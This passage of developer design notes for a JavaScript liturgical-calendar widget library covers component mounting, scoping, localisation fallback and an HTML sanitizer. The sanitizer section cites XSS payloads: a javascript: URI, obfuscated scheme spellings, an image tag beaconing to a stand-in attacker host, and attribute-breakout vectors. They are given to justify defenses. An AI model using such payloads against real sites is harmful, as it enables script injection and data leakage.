basePath/allPathsas aliases. The enum already shipsBASE_PATH/ALL_PATHSas alias members of exactly those two, their runtime values ARE those strings (so a computed{ [ApiOptionsFilter.GENERAL_ROMAN]: t }key must work), andApiExplorer's slot names are literallybasePath/allPaths. Naming one filter under both spellings is rejected as a duplicate rather than silently collapsed. ApiExplorerandSubscriptionBuilderare deliberately untouched.ApiExploreralready has dedicated ordered slots, bypassesCalendarControls.appendTo()entirely, and positions its calendar select withinsertAfter()rather than into a container — giving it acontrolsslot would be a new slot name and a second way to say one thing.SubscriptionBuildermounts the three children itself rather than throughCalendarControls.appendTo(). The two-pass idiom stays supported and unwarned: it isApiOptionspublic API,ApiExploreruses it internally,examples/PathBuilder/andexamples/RiteSelectPathBuilder/drive a rawApiOptionswith it, and it is still the only way to reach a container the component does not own.
Reject for programmer error, resolve for runtime failure — except where there is no form left to
resolve with. mountInto() rejects on invalid options — an unparseable locale, an unknown filter, a
target that matches nothing — because a typo should not be silently papered over, on all five components.
Where they diverge is a runtime failure (the API down, metadata unparseable):
CalendarResourcePicker.mountInto()resolves with a disabled,is-invalidselect carryingerrorTextanddataset.loadFailed = 'true', keeping the theme's marker classes so form validation and end-to-end test selectors still find the control.DayViewer.mountInto()resolves with a mounted, fully working viewer and routes the failure toonError()(orconsole.errorif none was registered) — no failure control, becauseDayViewerhas no runtime-metadata failure mode of its own beyond the oneCalendarResourcePickeralready covers through its child selects.CalendarControls.mountInto(),CalendarViewer.mountInto()andApiExplorer.mountInto()reject when the metadata cannot be loaded at all, with no failure control. This is deliberate, not an inconsistency to "fix" into agreement withCalendarResourcePicker: that picker substitutes for a single required form field, where an empty slot is indistinguishable from "still loading" and a disabled stand-in select is a meaningful thing to render in its place. These three bundle a whole form — aRiteSelectandCalendarSelectwith no calendars to list are not a smaller working form, they are no form at all, so there is no meaningful partial stand-in and construction is simply left to throw. Do not add a failure control toCalendarControls/CalendarViewer/ApiExplorerto matchCalendarResourcePicker— the asymmetry is the correct behaviour, not a gap.
A failed initial fetch (as opposed to unloadable metadata) is a separate case and behaves the same way
across DayViewer, CalendarControls and CalendarViewer: resolves with a mounted, working
component, routing the failure to onError(). CalendarViewer.mountInto() additionally awaits that
dropped fetch promise before resolving — CalendarControls.mountInto() and DayViewer.mountInto() do
not, and resolve immediately while the fetch keeps running — because a viewer's whole reason to exist is
its populated table, and resolving before the fetch's promise chain has run at all would hand back a
CalendarViewer whose table is still empty for a caller who assumed otherwise. See
docs/meta-components.md's CalendarViewer "Reject versus resolve" section for the full reasoning; this
is a deliberate divergence, not something to reconcile by removing the await. ApiExplorer never
fetches, so it has no such case at all.
settled observes a fetch; it does not report its outcome. mountInto() resolves to the component and
drops the initial fetch's promise, so CalendarControls, CalendarViewer and DayViewer each expose a
settled promise that resolves once that fetch has finished. Since #61 it observes the most recent fetch
the component issued — the initial one, and every fetch() call on either construction path, each
replacing the last — so a hand-constructed instance publishes the same signal and callers need not know
which path produced the instance. It does not observe the refetches ApiClient's own listenTo() change
listeners drive; those promises never reach the component. It always resolves and never rejects, with
undefined: a property present on every mounted instance that could reject would produce an unhandled
rejection for every caller who never reads it, which is the very trap mountInto() avoids by discarding.
The normalization lives in the getter, not in fetch(), and that placement is load-bearing twice over.
The getter derives a fresh promise.then( () => {}, () => {} ) on every read, which is what makes the
contract structural: it resolves with undefined rather than the payload .catch( handler ) alone passes
straight through (the bug that made settled a second data channel on the success path), and it cannot
reject even when an onError() callback throws inside a factory's rejection handler. Deriving eagerly in
fetch() instead would attach a handler to the very promise object handed to the caller — rejection
tracking is per promise object — silently removing the platform's unhandled-rejection report for anyone
who calls fetch() and ignores the result, which is the report fetch() relies on when it declines to
log a promise the caller holds. The cost is that settled is a fresh object per read, settling at the
same instant; do not "optimize" it back into a stored branch. The factories keep their .catch( handler )
assignment, which runs after fetch()'s own store and so keeps await x.settled ordered after
onError() delivery. That handler must not be able to throw, which is why it goes through
Settled.js's deliverFetchFailure() rather than calling the delivery directly: the delivery invokes
consumer callbacks, and a throwing onError() used to reject the stored branch — making
CalendarViewer.mountInto() (which awaits it) reject and hand back no viewer at all, and producing on the
other two paths exactly the unhandled rejection the "never rejects" clause rules out. normalizeSettled()
cannot cover that second case, because it only attaches a handler when somebody actually reads settled.
A callback that throws is still reported to the console, never swallowed. Outcomes stay with onError() and onCalendarFetched(). It
is always a promise, already resolved when nothing has been issued (initialFetch: false, no apiClient,
or a hand-constructed instance that has not fetched; a fetch() that throws synchronously issues nothing
and leaves it untouched). CalendarResourcePicker and ApiExplorer do not have it, because neither
fetches — the same asymmetry, on the same grounds, as their reject/resolve behaviour above. On
CalendarViewer it is the very promise mountInto() already awaits, so it has settled by the time a caller
of that factory can read it; do not remove it there on that account.
onSelectionChange() publishes state consumers were deriving by hand, and predeterminedInputs is the
part that carries domain knowledge. CalendarControls.selection reports
{ calendarType, calendarId, predeterminedInputs }, and onSelectionChange( callback ) — chainable, and
released by dispose() — fires once per user action, on a microtask, and only when that payload changed.
Four points are load-bearing:
- The rule has ONE copy,
src/ApiOptions/PredeterminedInputs.js, whichApiOptions.#applyTemporalInputState()APPLIES andApiOptions._predeterminedInputsREPORTS — the same one-source-two-readers shapeFilterInputs.jshas for the filter -> inputs mapping. Do not reconstruct it by reading_domElement.disabledback:HolydaysOfObligationInput.disabled()overrides the base method and sets areadonlyexpando plus per-<option>flags instead of the element's owndisabledproperty, so the one input this feature exists for would need a special case — a second hand-rolled copy under another name.PredeterminedInputs.test.jsasserts the five candidates equalinputKeysForFilter( ApiOptionsFilter.GENERAL_ROMAN ), so the two lists cannot drift apart silently either. - The coalescing is
SubscriptionUrl.#scheduleNotify()'s, and both guards earn their place. A rite change dispatches on the rite select, the calendar select and severalApiOptionsinputs within one synchronous burst; notifying per event would describe the state the user just left, and would readpredeterminedInputsbeforeApiOptions' own listener had applied it. The dedupe against the last notified payload is what makes a locale or year change cost nothing, not the choice of listeners: measured by mutation inCalendarControlsSelectionChange.test.js, adding a locale-input listener leaves every test green. - It deliberately does NOT fire on subscribe, matching
onCalendarFetched(),onError()andSubscriptionBuilder.onChange().selectionis a synchronous, race-free read, so the initial paint ispaint( controls.selection ); controls.onSelectionChange( paint );— the two lines both migrated examples already write. The notify loop isforEach, notfor...of, so a callback registered by another callback does not fire inside that same flush, which would contradict exactly that rule;SubscriptionUrlandEventEmitter.emit()both notify this way. - The payload is a named typedef,
CalendarSelectioninsrc/typedefs.js, and that is not cosmetic. Typed inline asfunction(Object): void, the library's OWN documented two-line recipe failed to compile for every TypeScript consumer (TS2345 —Object"is assignable to very few other types"), whileyarn compileandyarn teststayed green: the same.d.ts-only blind spot as the@readonly-on-a-getter andVERSION-literal traps.calendarTypeis a union rather thanstringfor the same reason.type-fixtures/dts-consumer.tsnow compiles that exact recipe. predeterminedInputsreports whatApiOptionshas APPLIED, which achangeevent is the only thing that updates. So unwired controls (mountInto()withoutapiClient) report the empty set, and a programmaticCalendarSelect.value()— which dispatches nochange, and whichApiClientequally ignores — is not observed until achangeis dispatched. Both are documented and pinned; do not "fix" them by deriving the key live from the DOM, which would make this one key react to a select the rest of an unwired form ignores, and could not derive the rite half at all.SubscriptionBuilder.onChange()was weighed and left alone. It publishes a serialized URL built from aCurrentEndpointthat also tracks year, locale, return type, rite and path, so it watches a different set of inputs and carries a different payload; routing it through this would either change that payload or make it a consumer of a mechanism that does not carry what it needs.CalendarViewer,ApiExplorerandSubscriptionBuilderreach the new API through their existing.controlsgetter, so none of them gains a forwarding method.
The inputs bag says which ApiOptions inputs render, and exists so mountInto() can express what
only the constructor path could. AcceptHeaderInput.hide() sets a flag ApiOptions.appendTo() reads,
so it was meaningful only between construction and the append — a window mountInto() does not open, which
put every real consumer on the constructor path and out of reach of settled (#61). CalendarControls,
CalendarViewer and ApiExplorer now take inputs: { acceptHeader: boolean }, resolved in
CalendarControls' constructor by src/MetaComponents/InputVisibility.js — internal, not exported from
src/index.js, like Theme.js. An unknown key is rejected by name, as is a non-boolean value, before
anything is mounted. acceptHeader: true is the default reasserted, not an un-hide: hide() is
irreversible. DayViewer and SubscriptionBuilder pin their ApiOptions to LOCALE_ONLY and never
render the input, so the option does not reach them. ApiExplorer renders it by default and must keep
doing so — PathBuilder turns that select's change into the composed URL's return_type.
wrapper means a CLASS flat and a TYPE per-child, and resolveWrapperBag() is the only place that
reconciles them. resolveChildTheme() maps the flat theme.wrapper onto wrapperClass; a per-child
wrapper names the element type (OVERRIDE_KEYS_BY_ROLE accepts it for the select and input roles).
Either alone is a complete instruction. Every meta-component used to gate its wrapper() call on
wrapperClass alone across six near-identical call sites, so a type-only theme was accepted by the
resolver, carried all the way to the call site and dropped there in silence — which is exactly how a rule
ends up honoured for some children and not others. Theme.js's resolveWrapperBag() now returns the
{ as, class } bag or null, and seven sites call it — those six, plus DayViewer's locale input, which
had the same gap; do not re-inline the check. It omits class
entirely rather than passing undefined, because Input.wrapper() rejects a non-string class and
treats a class named in the bag as final, closing wrapperClass() afterwards.
DayViewer's dateControls block is deliberately not routed through it: that path feeds a config bag to
LiturgyOfAnyDay's dayInputConfig()/monthInputConfig()/yearInputConfig(), which call wrapper() and
wrapperClass() separately, and already handles both keys.
dispose() is incomplete, and the docs say so. Every one of the five has an idempotent dispose() —
calling it twice is safe, and further use of a disposed instance throws rather than failing quietly. What
it releases: every listener the meta-component itself attached, plus (for the four that fetch) the
subscriptions made through onError()/onCalendarFetched()/listenTo(), unsubscribed via the
EventEmitter.off() described above — which had to exist before dispose() could be written at all. What
it does not and cannot release: the anonymous change listeners ApiClient.listenTo() attaches
internally to the selects it's given, and the anonymous calendarFetched listener
LiturgyOfAnyDay.listenTo()/WebCalendar.listenTo() attaches to the client's event bus. Neither closure
is exposed anywhere dispose() — or even ApiClient itself, for the first case — could
reach it. This is a pre-existing gap in the wired components, not something dispose() papers over by
claiming completeness; if a caller keeps a separate reference to the child selects and the client after
disposing, those selects can still drive fetches through that client.
SubscriptionBuilder is a sixth composed component, built the same way but living outside src/MetaComponents/.
It lives in src/SubscriptionBuilder/, not among the five above, because it pairs a CalendarControls with its
own private renderer (SubscriptionUrl.js, never exported — the same relationship Theme.js has to the five)
rather than reusing one of the library's existing renderers. It otherwise follows every convention documented
above: the theme bag, mountInto() versus the constructor, reject-for-programmer-error, and an idempotent
dispose() with the same documented gap around ApiOptions' internal listeners. Four points are specific to it:
- It never fetches, exactly as
ApiExplorernever does — its constructor links the rite -> calendar chain directly (apiOptions.linkToCalendarSelect().linkToRiteSelect()) and never callsCalendarControls.listenTo(). It therefore has nosettled, noonErrorand noinitialFetch: all three concern a fetch this class never performs. - Both slots —
{ controls, url }— are required. LikeCalendarViewerandApiExplorer, this bundles more than one mandatory mount, so a bare target is rejected rather than silently picking one of the two. - The copy control's wrapper IS the
<button>itself, not a separate button placed beside the URL text. Do not "fix" this into a<div>wrapping a nested button: adiv[role="button"]with notabindexand no key handler announces a control that can be neither focused nor activated by keyboard, which is a regression this shape specifically avoids. return_typeis pinned toICSandexplicitRiteis set totrue.return_typeis what makes this a subscription URL rather than a JSON request, so it is set once and never wired to an input, unlikePathBuilder.explicitRiteis needed becauseCurrentEndpoint.pathotherwise omits the rite segment whenever it is Roman, and a subscription URL must always read/romanor/ambrosianexplicitly.
Full documentation lives in docs/meta-components.md's SubscriptionBuilder section.
A scope option lets a consumer declare which calendars a widget may show — the Diocese of Rome wants its
own calendar and nothing else on screen; the Italian Bishops' Conference wants Italy, with a rite switch
because Italy has an Ambrosian diocese. scope is a restriction on the calendar space, not a default
value: controls are then derived from it, appearing only when they have a real choice to offer, rather
than separately configured. Full reasoning lives in
docs/superpowers/specs/2026-08-16-calendar-scope-design.md; this section is the summary a change to any
scoped component must not violate. The resolver, src/MetaComponents/CalendarScope.js, is internal and not
exported from src/index.js, on the same reasoning as Theme.js and FilterInputs.js.
The shape. scope: { rite, nation, diocese, locale, includeDioceses }, every key optional.
scope: undefined and scope: {} both mean "no scope" — every existing code path untouched — per the
library-wide nullish rule. includeDioceses defaults to false: { nation: 'IT' } alone means the
Italian national calendar and nothing else, one calendar, no controls. Widening to dioceses is the rarer,
more deliberate act, so it is the opt-in.
scope.rite is the allowed SET, not an initial value, and takes a string or an array. A string is a
singleton set. The initial rite is the set's first element — 'roman' and ['roman'] behave
identically, and ['ambrosian', 'roman'] starts on Ambrosian. With only roman and ambrosian in Rite
today, ['roman', 'ambrosian'] equals omitting the key entirely, so the restriction aspect of the array
form is not yet observable — only the ordering is. This is deliberate future-proofing: it earns its place
the day a third rite is added, at which point rite: ['roman', 'ambrosian'] on an Italian site would keep a
future Melkite or Ruthenian option from ever appearing.
Which rites are in scope for a nation is DERIVED, never assumed to be all of them:
A rite is in scope for a nation iff that nation has a national calendar for it, or at least one diocese of it.
{ nation: 'US' } therefore yields Roman alone — the United States has no Ambrosian diocese — and hides the
rite select, rather than offering an Ambrosian option that leads only to the bare Ambrosian calendar with
nothing American behind it. { nation: 'IT' } yields both, because Italy has an Ambrosian diocese (Milan)
even though Ambrosian has no national tier (RiteProperties.ambrosian.hasNationalTier === false) — a rite
lacking a national tier falls back to its rite-level stand-in calendar (the bare Ambrosian calendar) rather
than being excluded, but only where the nation has at least one diocese of it. scope.rite then intersects
with this derived set; an empty intersection throws at construction, naming both the requested rites and
those actually available.
Controls are derived, and re-derivation is RUNTIME-dependent, not a mount-time constant:
riteSelect shown iff the scope yields > 1 rite
calendarSelect shown iff the scope yields > 1 calendar FOR THE CURRENT RITE
localeInput shown iff the CURRENT CALENDAR supports > 1 locale
Switching rite changes the calendar set; switching calendar changes the locale set. This is exactly the
situation CalendarSelect._setHidden()'s doc comment already warns about: deriving visibility from the rite
side alone leaked before, because ApiOptions' path builder can re-filter a select with no rite change to
re-evaluate it. Every scoped component (CalendarControls, DayViewer, CalendarResourcePicker,
TodayViewer) therefore attaches one change listener to both the rite select and the calendar
select — the single place a rite change and a calendar change both land — and re-derives all three flags
from there via deriveVisibility(), applying them with _setHidden(). Input and RiteSelect both gained
_setHidden() for this. A hidden control still holds its value and still drives the fetch — that is what
makes the Rome case work: the calendar select is hidden, and is still what tells ApiClient to fetch
romamo_it.
The calendar select's OPTION LIST is narrowed, not merely its value. CalendarSelect._restrictToScope()
rebuilds the <option>s from the resolved scope's calendars for the current rite, so { nation: 'IT', includeDioceses: true } offers Italy plus its Roman dioceses under Roman, and the bare Ambrosian calendar
plus Milan — but never Lugano — under Ambrosian. _restrictToScope() always runs before value() is set:
the select's own unrestricted, Roman-built default option list may not even carry the scope's actual initial
calendar id, and value() throws for any id no current option carries.
The inputs bag gained three keys — riteSelect, calendarSelect, localeInput — alongside the
pre-existing acceptHeader, but only on CalendarControls and the components built from it
(CalendarViewer, ApiExplorer, SubscriptionBuilder). DayViewer, CalendarResourcePicker and
TodayViewer build their rite and calendar selects directly rather than through CalendarControls, take no
inputs option at all, and call deriveVisibility() with no override argument — the derived answer is
always final on those three. The two inputs families that DO exist are NOT the same kind of flag. acceptHeader is an
irreversible hide() call: true reasserts the default rather than un-hiding. The three new keys instead
override deriveVisibility()'s own derived answer, in both directions, and carry no default of their
own — they are simply absent from the resolved bag until a caller names one, which is what lets the resolver
tell "not overridden" from "overridden to true". inputs: { riteSelect: false } on a two-rite scope does
not remove Ambrosian from the space; it only makes it unreachable by the user, leaving the rite at
whatever the scope resolved. scope.rite is the honest way to say "Roman only" — pin with scope, present
with inputs.
scope combined with ApiOptionsFilter.PATH_BUILDER throws, in CalendarControls's own constructor.
CalendarPathInput composes any API route the metadata allows, entirely outside deriveVisibility()'s
reach — a full bypass of a scope's contract, not a cosmetic gap. This was considered and rejected as a thing
to make CalendarPathInput scope-aware instead: composing an unrestricted route is that input's entire
reason to exist. The practical consequence is that ApiExplorer cannot take a scope at all — but not
through that CalendarControls guard. ApiExplorer rejects scope in its own constructor instead,
because CalendarControls' scope+PATH_BUILDER guard reads the filter given to ITS constructor, and
ApiExplorer.appendTo() applies PATH_BUILDER to #controls.apiOptions only AFTER construction (see the
three-filter layout doc comment there) — so a scope forwarded into the CalendarControls ApiExplorer
builds would sail straight past that guard, never throw, and ship a scoped RiteSelect/CalendarSelect
beside an unscoped CalendarPathInput that still composes any route the metadata allows. ApiExplorer's own
constructor check is what actually closes that hole; leaving it to CalendarControls would not. CalendarViewer
and SubscriptionBuilder build a CalendarControls too, but never render PATH_BUILDER, so both inherit
scope cleanly through the CalendarControls guard as documented. (An earlier draft of the design claimed
ApiExplorer inherits scope "for free" the same way; that claim was wrong and has been corrected in the
spec file.)
A scoped CalendarResourcePicker narrows its own rites to whatever its filter can actually surface, and
throws only when the scope DEMANDS a rite the filter cannot show. Under
CalendarSelectFilter.NATIONAL_CALENDARS there is no rite select and no national calendar for a rite with
no national tier, so CalendarResourcePicker.#narrowScopeToNationalTier() drops Ambrosian from a resolved
scope's rites silently when the scope only permitted it ({ nation: 'IT' } — Italy's Ambrosian diocese
was never reachable through this filter regardless of scope). It throws instead whenever narrowing leaves
NOTHING reachable — which is not only when scope.rite pinned the rite explicitly. A scope.diocese demands
its rite just as effectively: resolveScope() derives rites from the diocese's own rite and never consults
rawScope.rite at all, so { diocese: 'milano_it' } (an Ambrosian diocese) reaches the guard having never
set scope.rite, yet must throw exactly as { rite: 'ambrosian' } does — silently substituting a different
rite for one the caller asked for, explicitly or by naming a diocese, would be exactly the silent-narrowing
failure this component exists to avoid (issue #43). The thrown message names whichever of scope.rite or
scope.diocese the caller actually wrote, rather than misreporting a diocese scope as a rite pin.
DayViewer and TodayViewer have no such narrowing: both build their own RiteSelect, so every rite the
scope resolves is genuinely reachable.
TodayViewer is a new meta-component, sibling to DayViewer, wrapping LiturgyOfTheDay — the name
carries the whole distinction: DayViewer renders any day and owns day/month/year date controls;
TodayViewer always renders today and has no date controls at all. It otherwise follows every existing
meta-component convention (synchronous constructor plus static async mountInto(), appendTo() returning
undefined, settled, onError()/onCalendarFetched(), an idempotent dispose(), the theme bag, and its
own scope wiring identical in shape to DayViewer's). It has no announceUpdates option of its own —
the wrapped LiturgyOfTheDay is exposed via a liturgy getter, so a consumer writes
viewer.liturgy.announceUpdates( false ), the same pattern CalendarViewer.webCalendar and
DayViewer.liturgy already use.
LiturgyOfTheDay prerequisite fix, landed alongside this feature. It used to append on every
calendarFetched, so a second fetch duplicated the day's events rather than replacing them — harmless while
nothing could trigger a refetch on this component, but TodayViewer can, the moment a scope leaves a rite or
calendar select on screen. #updateEventDetails() now calls replaceChildren() before appending. It also
gained the same visually-hidden role="status" live region WebCalendar and LiturgyOfAnyDay already have,
through LiveAnnouncer.js, with the same announceUpdates option (default true) and the same
silent-first-render rule — withheld before only because "updated" would have misdescribed a duplication bug,
so removing the cause removed the reason. A stray console.log left over from development was also removed.
Both are recorded as behaviour changes in the CHANGELOG, not slid in as an invisible fix.
Type-safe enumerations for component configuration:
Grouping- BY_MONTH, BY_LITURGICAL_SEASONColorAs- BACKGROUND, CSS_CLASS, INDICATORColumn- EVENT, GRADE, COMMON, etc.ColumnOrder- GRADE_FIRST, EVENT_DETAILS_FIRSTDateFormat- FULL, LONG, MEDIUM, SHORT, DAY_ONLYGradeDisplay- FULL, ABBREVIATEDCalendarSelectFilter- NATIONAL_CALENDARS, DIOCESAN_CALENDARS, NONEApiOptionsFilter- GENERAL_ROMAN, ALL_CALENDARS, PATH_BUILDER, LOCALE_ONLY, YEAR_ONLY, NONEYearType- LITURGICAL, CIVILThemePreset- BOOTSTRAP_4, BOOTSTRAP_5 (defined insrc/MetaComponents/ThemePresets.js, notEnums.js, so its names and its internal class table cannot drift)
Messages.js holds 84 locale blocks, unevenly populated: not every key exists in every block. Newer keys —
COPY_TO_CLIPBOARD/COPIED_TO_CLIPBOARD for SubscriptionUrl's copy control, and the six ApiOptions
input labels added for #59 (YEAR_TYPE, EPIPHANY, ASCENSION, CORPUS_CHRISTI, ETERNAL_HIGH_PRIEST,
HOLYDAYS_OF_OBLIGATION) — are present in exactly twelve of the 84, the same twelve that carry
SELECT_A_RITE. Every other locale reaches English through a fallback, so an unpopulated block degrades to
English for that key rather than throwing. A third, narrower tier exists for ReadingsRenderer's reading
and Mass-schema labels (READING_MESSAGE_KEYS/MASS_MESSAGE_KEYS, 22 keys): only en, it and la are
populated — see the ReadingsRenderer section below for the full list and rationale.
src/MessageLookup.js's message( key, locale ) is the one place that fallback lives. It is internal and
not exported from src/index.js, on the same reasoning as LocaleValidation.js, OptionsValidation.js and
WrapperOptions.js. It takes an Intl.Locale, a locale tag string ('it', 'it-IT' and 'it_IT' alike,
since a string goes through toIntlLocale() rather than a bare new Intl.Locale()) or null/undefined for
"not supplied", and returns the English message when the catalogue has no block for the language, or a block
without the key. Two things it does not do, both deliberate:
- It does not warn. A sparse block is the documented normal case, not an anomaly — the twelve-locale keys
above mean a warning would fire for 72 working locales, once per input constructed, and would start logging
on four paths that already fell back silently. Coverage is asserted instead, for the keys that are only
partly translated, in
src/__tests__/Messages.test.js. - It does not tolerate a key missing from English, which it throws on by name. A key is a string literal in
the source, so one absent from English is a typo broken in every locale rather than a translation gap, and
failing loudly beats assigning
undefinedto atextContent.
This replaced the hand-written Messages[language]?.[KEY] ?? Messages['en'][KEY] that each call site used to
apply for itself — the shape that produced issue #69, where six sites had remembered the guard and six had
forgotten it, so new ApiOptions( 'ceb' ) threw a bare TypeError naming neither the component, the locale,
nor the catalogue. Since every meta-component builds an ApiOptions, all six inherited that.
#69 closed the ApiOptions route and #83 closed the remaining two files. #69 left
WebCalendar.js and LiturgyOfAnyDay.js unguarded because issue #65 was already editing them, and
src/__tests__/MessageLookup.test.js's scan allow-listed exactly those two — a ceiling its own comment
said #65 would lift. #65 shipped without touching those reads, at which point the ceiling had become a
permanent exemption carving two files out of a guard the other call sites obeyed. #83 routed all seven
remaining reads through message() and deleted the allow-list rather than emptying it: an empty
exemption array is an invitation to add the next file to it, so the scan now has no exemption mechanism
at all. Do not reintroduce one — a file that cannot be guarded yet is a reason to fix it, not to list it.
LiturgyOfAnyDay's read is the one worth remembering, because it looked defended:
Messages[ lang ][ 'LITURGY_OF_THE_DAY' ] || 'Liturgy of the Day' guards the VALUE the second index
yields, while the throw happens at the FIRST index, before the || can apply. That shape is now pinned
in the scan's own self-test beside Messages?.[lang][KEY], which fails the same way for the same reason.
src/MetaComponents/ still carries a correct inline guard rather than calling message() — a
consolidation, not a bug — as do WebCalendar.#captionText()'s three caption reads, whose rite-level
lookup falls back across TWO keys (AMBROSIAN_CALENDAR_CAPTION then GENERAL_ROMAN_CALENDAR_CAPTION)
and so must not throw when English lacks the first, which is exactly what message() does. That scan is
a tripwire, not a proof: it is written against the shape the bug took, and its doc comment lists what it
knowingly does not see.
Input labels are localized by the input's own constructor, through
src/ApiOptions/Input/InputLabels.js's defaultLabelText( key, locale ) — internal, and not exported from
src/index.js, on the same reasoning as LocaleValidation.js. That layer, and not a meta-component's theming
pass, is what reaches a consumer who writes new ApiOptions( 'it' ) with no meta-component anywhere; 2.7.0
fixed only LocaleInput, and only on the theming path, which such a consumer never runs. DayInput,
YearInput and HolydaysOfObligationInput therefore take an optional Intl.Locale (null means "not
supplied" and yields the English label; anything else non-Intl.Locale throws). The four keys DAY, MONTH,
YEAR and LANGUAGE are reused rather than duplicated. A theme-supplied labelText still wins, because all
theming is applied after construction — which is also why Theme.js's applyLocaleInputTheme() keeps writing
the label unconditionally even though that write is now a no-op.
defaultLabelText() is now a one-line delegate to message() and is kept rather than inlined, because it
carries a rationale message() does not — the null-means-English default that is right for a label — and
because ten call sites read better naming what they look up. The inputs' option labels, which #59 left
reading Messages[locale.language][KEY] unguarded, go through message() too since #69, as do
CalendarPathInput's label, CalendarSelect's default label and LiturgyOfTheDay's title.
The API's messages array carries real markup — anchors to Vatican decrees, <i>/<b> emphasis,
highlighted <span>s. src/SanitizeHtml.js's sanitizeHtml() is the one place it becomes DOM, and
CalendarControls.#renderMessages() is its only caller. Internal, not exported from src/index.js, on
the same reasoning as LocaleValidation.js and MessageLookup.js.
"Trust the API" is not available, and that is structural rather than cautious. The API interpolates
calendar SOURCE DATA into an href without escaping it — '<a href="' . $metadata->url . '" …' in
CalendarHandler.php and the same shape in two model classes. Those fields ARE marked format: uri in
DiocesanCalendar.json, NationalCalendar.json and WiderRegionCalendar.json, which is weaker than it
looks: JSON Schema treats format as an annotation rather than an assertion unless a validator opts in,
and javascript:alert(1) is a valid RFC 3986 URI regardless — scheme plus opaque path — so format: uri
does not exclude the one scheme that matters. Only a scheme allowlist does. Independently,
ApiClient.init( url ) accepts ANY base URL and multi-base is a documented feature, so the library cannot
assume a response came from an origin the consumer trusts. Tracked API-side as Liturgical-Calendar/LiturgicalCalendarAPI#789.
Five properties are load-bearing:
- The allowlist is CONSTRUCTIVE, not destructive. It never adopts a parsed node: it walks the parse and
BUILDS fresh elements in the caller's document, copying only approved attributes. A destructive
sanitizer — parse, then remove what you dislike — lets anything it failed to think of survive, which is
what every historical bypass is a variation on. Here nothing survives by default, which is why
on*,style,idandpingneed no enumeration.ownerDocumentis asserted in the tests to pin this. - The parse goes through a
<template>, NOT throughDOMParser, and the difference is subresources. Both mark<script>non-executable, so both are safe against script execution. But MDN is explicit that aDOMParserdocument "can download resources specified in<iframe>and<img>elements", so an<img src="https://attacker.test/log?…">in a response would hit the network at parse time — leaking the visitor's IP and user agent — even though the element is discarded microseconds later and never rendered. A<template>'scontentbelongs to the template contents owner document, which has no browsing context, so nothing in it is fetched. This is the primitive DOMPurify parses into. This was got wrong on the first pass: the original comment assertedDOMParserfetched nothing, which is the kind of confident-and-wrong security note that stops the next reader from checking. jsdom cannot test it — it performs no subresource loading at all, so a unit test passes under either implementation.SanitizeHtml.test.jstherefore pins the PRIMITIVE (spying thatDOMParser.prototype.parseFromStringis never called), which is implementation-coupled on purpose, since no assertion about the output can see this.Utils.sanitizeInput()still usesDOMParserand is deliberately unchanged: it sanitizes CONSUMER-supplied class names and ids, not API markup. hrefis validated by PARSING, never by prefix-matching.href.startsWith( 'javascript:' )is defeated three ways, all pinned in the tests:JaVaScRiPt:,java\tscript:(the HTML parser strips tabs and newlines from attribute values), and leading whitespace.new URL()normalizes exactly as the browser does before navigating. Onlyhttp:/https:pass. The ORIGINAL string is written back, so a relative link stays relative.- Unknown elements are UNWRAPPED, not deleted — the element goes, the prose stays, because a message
is information. The exceptions in
DROPPED_ELEMENTSare the ones whose text is not prose (script,style,title,textarea,noscript); unwrapping those would print CSS rules or JS source as visible copy, which is harmless but reads exactly like a sanitizer that failed.<img>/<iframe>need no entry — they are not allowed and have no children, so unwrapping already yields nothing. - It returns a
DocumentFragment, never a string. A string return would invite the caller to reach forinnerHTML, which is the sink the function exists to remove.
style is stripped even though the API emits it on twelve highlighted spans. The library documents
that it takes no position on CSS, so an API response must not inject declarations into a consumer's page —
and CSS is not inert regardless (background:url() exfiltrates, position:fixed redresses). The <span>
survives, so no text is lost. If that highlight matters, the fix is a class the consumer can style, not an
inline declaration.
Element.setHTML() was weighed and rejected, though it is the right long-term answer. As of August
2026: Chrome/Edge 146+, Firefox 148+, 68% global support, and MDN still labels it "Limited availability —
not Baseline". Safari has not implemented it in any version, on macOS or iOS. Since every iOS browser
is WebKit-backed, adopting it would exclude every iOS user regardless of the browser they chose — not
merely users on old versions — so the floor cannot simply be raised to reach it. Feature-detecting with a
fallback was rejected on a narrower ground: jsdom implements no setHTML, so the native branch cannot be
covered by this suite at all, and shipping an untested path to the majority while testing the minority
path is backwards. Revisit when Safari ships and it reaches Baseline, at which point the module becomes a
one-line delegate.
WebCalendar's event-details cell is built as NODES, and deliberately does NOT use sanitizeHtml().
It previously interpolated litevent.name, liturgical_year, color_lcl and common_lcl into an HTML
string for createContextualFragment() — a sink that is not even resource-inert. All four are plain text
in the source data, so textContent says what is true; routing them through the sanitizer would have
closed the same hole while declaring those fields rich text and inviting markup into them later. The
rule: sanitize where markup is expected and wanted (messages), build nodes where it is not (everything
else). WebCalendarEventDetails.test.js pins both the unchanged output and the closed hole, including
the </i> breakout, which injects no element and so is easy to forget.
CalendarSelect ESCAPES rather than building nodes, and that asymmetry is deliberate. It interpolates
/calendars metadata into <option> strings assigned to innerHTML, and nationsInnerHtml /
diocesesInnerHtml are PUBLIC getters returning that markup — so rebuilding it around nodes would be a
breaking API change rather than a security fix. escapeHtml() (also in SanitizeHtml.js) is applied at
the three interpolation sites instead. The distinction to keep: sanitizeHtml() where markup is wanted
and must be filtered, node-building where it is not, escapeHtml() only where a public string API forces
the string to stay. Escaping is correct for text and QUOTED attributes only — never for an unquoted
attribute, a javascript:-capable one such as href, or anything inside <script>/<style>.
Two findings there are worth not re-deriving. The value="…" breakout was the real vector: an unescaped
" in calendar_id ends the attribute and the rest is parsed as further attributes on a tag the parser
already accepts, which is why it survives the "in select" insertion mode that discards most injected
ELEMENTS. The <optgroup label="…"> was NOT reachable: the nation code passes through
Intl.DisplayNames.of(), which throws RangeError for a malformed region code and returns a localized
display name otherwise, so nothing capable of ending the attribute gets through. It is escaped anyway,
since that safety belongs to a platform API's argument validation rather than to this component.
escapeHtml() is therefore unit-tested directly, not only through the component.
Known rough edge, not security: an invalid nation code in metadata surfaces as a bare
RangeError: invalid_argument from inside Intl, where the sibling inconsistency (a diocese whose nation
has no national calendar) gets an explicit message naming the component and the value.
Input.labelAfter() and CalendarSelect.after() also use createContextualFragment(), but on
CONSUMER-supplied strings — that is their documented purpose and not the same boundary.
WebCalendar and LiturgyOfAnyDay each own a visually-hidden role="status" / aria-live="polite" /
aria-atomic="true" region and announce a short summary — never their content — whenever they replace it.
announceUpdates (constructor option and chainable setter, default true) turns it off. Six points are
load-bearing:
- Default on. An accessibility fix that is off by default fixes nobody: the consumers who need it are the
least likely to know the option exists. The opt-out exists for a page that already owns a live region for
